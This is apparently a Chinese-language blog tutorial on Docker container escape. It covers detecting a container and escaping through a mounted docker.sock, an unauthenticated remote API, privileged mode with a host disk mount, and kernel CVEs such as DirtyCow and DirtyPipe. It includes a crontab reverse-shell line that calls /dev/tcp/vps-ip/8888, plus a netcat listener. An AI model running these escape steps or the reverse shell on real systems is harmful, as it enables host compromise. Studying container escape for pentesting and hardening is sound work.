Docker逃逸初探
Docker逃逸初探
Ec3oDocker逃逸入门
ls -alh /.dockerenv
Docker 环境下存在.dockerenv
文件cat /proc/1/cgroup
Docker 环境下包含docker
字样
1.危险挂载逃逸
1.1 挂载 docker.sock
导致逃逸
容器内安装 docker
客户端 CLI
1 | apt-get update |
挂载完成后,启动一个挂载宿主机根目录的特权容器,完成简单逃逸:
1 | docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash |
2.不当配置逃逸
docker remote api
2.1 未授权访问导致逃逸
docker开启了HTTP服务,访问开放的2379端口可导致未授权的远程访问逃逸.
1 | http://your-ip:2375/version |
开启后本地使用 docker -H
命令连接后创建新特权容器进行docker逃逸.
3.特权模式(Privileged)逃逸
管理员执行 docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行 mount
命令进行挂载。
使用 fdisk -l
查看磁盘文件
1 | mkdir /disk1 |
此时这个 disk1
文件夹就相当于对方主机的根目录,可以进行写文件操作。
通过Crontab
进行反弹Shell利用:
1 | echo '* * * * * bash -i >& /dev/tcp/vps-ip/8888 0>&1' >> /disk1/var/spool/cron/root |
写入crontab
定时任务反弹shell到对应公网主机
攻击机配置:监听8888
端口获取反弹Shell
1 | nc -lvp 8888 |
4.内核漏洞逃逸
Docker使用共享宿主主机内核,因此当宿主机内核存在内核漏洞时,Docker也会一并受到影响导致Docker逃逸.
4.1 CVE-2016-5195
DirtyCow 逃逸
1 | uname -r |
如果在 2.6.22
<= 版本 <= 4.8.3
之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞
4.2 CVE-2020-14386
1 | uname -r |
如果在 4.6
<= 版本 < 5.9
之间说明可能存在 CVE-2020-14386 漏洞
4.3 CVE-2022-0847
DirtyPipe 逃逸
1 | uname -r |
如果在 5.8
<= 版本 < 5.10.102
< 版本 < 5.15.25
< 版本 < 5.16.11
之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞